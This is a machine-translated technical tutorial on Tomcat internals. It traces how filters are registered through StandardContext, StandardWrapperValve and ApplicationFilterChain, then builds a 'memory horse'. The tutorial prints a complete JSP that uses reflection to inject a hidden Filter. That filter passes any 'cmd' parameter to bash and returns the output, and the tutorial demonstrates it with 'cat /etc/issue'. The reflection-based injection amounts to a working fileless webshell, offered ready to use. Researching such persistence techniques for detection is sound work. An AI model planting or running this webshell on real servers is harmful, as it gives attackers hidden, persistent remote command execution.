1, Tomcat processing request
As mentioned in the previous chapter, when tomcat processes a request, it first converts the request object into a ServletRequest through the connector Coyote, and then passes it to Catalina for processing.
There are four key containers in Catalina: Engine, Host, Context and Wrapper. The four kinds of containers are designed in a complete set of baby style layered structure.
Next, we know that when tomcat receives a request, it will go through listener - > filter - > servlet in turn
In fact, we can also dynamically add a Filter to form a memory horse, but first understand the logic of tomcat processing requests
As can be seen from the above figure, when the request reaches the Wrapper container, it will start calling filterchain, which is a filter chain composed of several filters. Finally, the Servlet will be reached. As long as our malicious filter is placed in the first position of the filterchain, the methods in the malicious filter can be triggered.
2, Filter registration process
To add a malicious filter in FilterChain, first understand the registration process of filter in tomcat
As can be seen from the above figure, the place where the Wrapper container calls FilterChain is in the StandardWrapperValve class
debugging
Register a filter:
public class TestFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("filter initialization"); } @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { System.out.println("doFilter filter"); //Release chain.doFilter(request,response); } @Override public void destroy() { System.out.println("filter Destroy"); } }
Configure web.xml
<filter> <filter-name>TestFilter</filter-name> <filter-class>test.TestFilter</filter-class> </filter> <filter-mapping> <filter-name>TestFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
Drop the breakpoint at doFilter to access any url: http://127.0.0.1:8080/xxx
View call chain
You can see that in StandardWrapperValve#invoke, a filterChain of ApplicationFilterChain type is obtained through the createFilterChain method
Two filters of ApplicationFilterConfig type are stored in its filterChain, the first of which is TestFilter
Then ApplicationFilterChain#doFilter is called in line 196 below
Follow up the doFilter method and call internalDoFilter in the method.
After following up internalDoFilter, you can see that the first filter, Testfilter, is obtained from the filters array
Finally called filter.doFilter.
You can see that the filter is obtained from the filters array. See what the filters array is. Ctrl + left click
In fact, it is an object array of ApplicationFilterConfig type, and its value is obtained through the createFilterChain method mentioned above
Next, see how createFilterChain adds the TestFilter we wrote to the application filterconfig
Follow up the ApplicationFilterFactory#createFilterChain and see that a ServletRequest is obtained in line 64, and then the filterChain is obtained through ServletRequest#getFilterChain
Continue to look down and find filterMaps [] through the StandardContext object
Then, through the name in filterMaps, find the FilterConfig in the StandardContext object, and finally add the FilterConfig to the filterChain
Follow up filterChain.addFilter and see that it is added to the filters array ApplicationFilterConfig mentioned earlier. The operation here and in the previous step is to traverse the filter and put it into the ApplicationFilterConfig
Through debugging, it is found that there are two very important variables, filterMap and filterConfig
-
Name filterMaps
-
Filterconfigures take the filter
In fact, these two variables are stored in the StandardContext object, and one variable, filterDefs, is also an important variable
Analyze filterMaps, filterconfigures, filterDefs
1)filterMaps
Since these three variables are obtained from the StandardContext, you can find two methods to add filterMap by viewing the StandardContext
2)filterConfigs
In the StandardContext, also look for the place where the filterConfig value is added, and find a filterStart method
The addition here is completed when tomcat starts, so set a good breakpoint to start tomcat
TestFilter is stored in filterDefs
Traverse the filterDefs, and get the key as TestFilter, the value as FilterDef object, and the value as test.Testfilter
Next, an ApplicationFilterConfig is added and value is added
Then put nam=TestFilter and filterConfig into filterconfigures
3)filterDefs
The above filterDefs is the place where the filter is really put. Let's see where the filterDefs is added
There is also an addFilterDef method in the StandardContext
It is conceivable that tomcat is a filter read from web.xml, and then added to the filterMap and filterDef variables, which correspond to the following two variables
Memory horse
By controlling the values of filterMaps, filterconfig and filterDefs, we can inject malicious filters
-
filterMaps: a HashMap object that contains filter names and URL mappings
-
filterDefs: a HashMap object that maps filter names and filter instances
-
Filterconfigures variable: an ApplicationFilterConfig object containing filterDefs
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "KpLi0rn"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; } filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); /** * Add filterDef to filterDefs */ standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("Inject Success !"); } %>
visit: http://127.0.0.1:8080/testF.jsp Display successful injection
Execute command: http://127.0.0.1:8080/?cmd=cat /etc/issue
3, Reference:
http://wjlshare.com/archives/1529#0x04_Filter
http://li9hu.top/tomcat Memory Ma Yi - a preliminary study/
https://www.cnblogs.com/nice0e3/p/14622879.html#0x03 -Memory horse implementation